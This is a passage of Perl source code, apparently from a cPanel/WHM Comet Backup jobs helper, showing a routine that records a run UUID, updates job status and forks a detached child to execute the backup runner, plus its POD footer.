Time::Piece->new() call (which # returns $now for never-run jobs) cannot make the comparison permanently # false by a few seconds. return defined $next_run_time && time() >= $next_run_time; } sub _execute_backup_job { my ( $jobs_manager, $job ) = @_; my $job_id = $job->{job_id}; eval { # Generate a unique run_uuid for this backup run instance require Data::UUID; my $ug = Data::UUID->new(); my $run_uuid = lc( $ug->create_str() ); $logger->info( "Starting backup job: " . $job->{name} . " (job_id: $job_id, run_uuid: $run_uuid)" ); # Store the current_run_uuid in the backup_jobs table for tracking $jobs_manager->set_current_run_uuid( $job_id, $run_uuid ); # Update job status to running and set last run timestamp $jobs_manager->update_backup_job( $job_id, status => 'running', last_run_timestamp => time(), ); # Fork the backup runner script in the background my $backup_runner_path = $Whostmgr::CometBackup::Constants::BACKUP_RUNNER_PATH; unless ( -x $backup_runner_path ) { die "Backup runner script not found or not executable: $backup_runner_path"; } my $pid = fork(); if ( !defined $pid ) { # Fork failed die "Failed to fork backup runner process: $!"; } if ( $pid == 0 ) { # Child process - exec the backup runner. # All failure paths use POSIX::_exit so the child never unwinds # back into main()'s eval, which would corrupt the lock state. # umask 0027 was set at the top of main() and the child inherits it. open STDOUT, '>>', '/var/log/comet_backup_jobs_helper.log' or POSIX::_exit(1); open STDERR, '>>', '/var/log/comet_backup_jobs_helper.log' or POSIX::_exit(1); # Become session leader to fully detach POSIX::setsid() or POSIX::_exit(1); # Execute the backup runner with run_uuid; _exit if exec fails. # --bypass-schedule: the helper has already made its own scheduling # decision, so we skip the runner's redundant cooldown check. The # runner's "one runner at a time" guard still applies. exec( $backup_runner_path, '--bypass-schedule', '--job_uuid', $job_id, '--run_uuid', $run_uuid ) or POSIX::_exit(1); } # Parent process - just log that we started the runner $logger->info( "Forked backup runner process (PID: $pid) for job: " . $job->{name} ); }; if ($@) { $logger->error( "Failed to execute backup job " . ( $job_id // 'job_id UNSET' ) . ": $@" ); # Update job status to failed eval { $jobs_manager->update_backup_job( $job_id, status => 'failed', ); $jobs_manager->clear_current_run_uuid($job_id); }; } } # Run the main function if this script is executed directly main() if !caller; 1; __END__ =head1 SEE ALSO L<Whostmgr::CometBackup::BackupJobs>, L<Whostmgr::CometBackup::Scheduling> =head1 AUTHOR WebPros International, LLC =head1 COPYRIGHT Copyright 2025 WebPros International, LLC. All rights reserved. =cut
Close